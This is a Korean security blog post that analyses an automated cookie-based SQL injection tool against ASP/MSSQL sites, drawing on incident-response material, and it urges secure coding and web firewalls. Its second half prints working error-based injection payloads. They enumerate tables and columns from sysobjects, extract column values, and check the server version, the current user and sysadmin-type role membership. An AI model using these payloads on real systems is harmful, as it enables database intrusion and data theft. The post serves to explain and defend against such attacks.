cookie, declear 구문 - SQL Injection

회사에선 어떻게 막고 있나 싶을 정도로 웹 해킹은 끊이지 않고 있다. 분당 수십번씩 공격이 들어오고 있다.
잠깐만 오픈해 놓더라도 바로 들어올 정도라고 봐도 된다.

특히 지난 10월부터 국내에는 쿠키 암호화공격이 늘어나고 있는 추세이다. 초기엔 단순한 공격에서 요즘 들어서는 자동화 형태로 만들어져서 취약점 스캐닝 툴을 통해서 바로 공격도 할 수 있는 것이 인터넷에

돌아다니고 있을 정도다.

이젠, 소스 취약점을 완벽하게 막지 않는한 달리 방법이 없어 보이고, 웹방화벽을 도입하지 않고서는 웹 서비스 운영이 어려운 상황이 되어 버렸다.


아래 자료는 cookie injection 을 이용한 공격 도구인 'ASP MSSQL SQL Injection Tool' 을 통한 해킹 자료이다.
(SK Infosec Computer Incidents Response Team 자료임)


SQL Injection 자동화 공격은 매우 오래 전부터 공격이 되고 있으며, 이러한 공격 툴은 다양한 버전들이 공개 되어 있다. 이 공격 툴 역시 2007년도에 공개 된 것이며, “cookie,declear 구문” 을 사용한 점이 주요 특징이라고 할 수 있겠다.
이러한 점으로 보아, “MASS SQL Injection” 공격이 일어나기 전부터, 관련 연구가 있었던 것으로 보인다. SQL Injection 공격에 대비 하기 위해서는 취약점을 가지고 있는 SQL Injection 포인트를 찾아, 보안을 고려한 안전한 코딩이 우선시 되어야 할 것이다.

전체 이름 추적 */
And (Select Top 1 nchar(124)+cast(name as varchar(8000))+nchar(124) from(Select Top 1
id,name from sysobjects Where xtype=char(85) order by id) T order by id desc)>0--;

/* 특정 테이블의 column 추적 */
and (select top 1
nchar(124)+col_name(object_id(0x6d0065006d006200650072005f0069006e0066006f00),1)+nc
har(124) from sysobjects)>0--;

/* 특정 테이블의 column 값 추적 */
And (Select Top 1 char(124)+isNull(cast([column_name] as
nvarchar(4000)),char(32))+char(124) from (Select Top 1 [column_name] From [table_name]
Where 1=1 Order by [column_name]) T Order by [column_name] desc)>0--;

/* MSSQL Server INFO */
and (select char(124)+@@VERSION
+char(92)+system_user+char(92)+user+char(92)+db_name()+char(92)+convert(char(1),IS_ME
MBER
(0x640062005F006F0077006E0065007200))+char(92)+convert(char(1),IS_SRVROLEMEMBER(0x
730079007300610064006D0069006E00))+char(92)+convert(char(1),IS_SRVROLEMEMBER(0x73
0065007200760065007200610064006D0069006E00))+char(92)+convert(char(1),IS_SRVROLEM
EMBER(0x620075006C006B00610064006D0069006E00))+char(92)+convert(char(1),IS_SRVROL
EMEMBER(0x73006500740075007000610064006D0069006E00))+char(92)+convert(char(1),IS_S
RVROLEMEMBER(0x6400690073006B00610064006D0069006E00))+char(124))>0--;






자동화된 SQL Injection 공격을 통한 악성코드 대량 삽입 수법 분석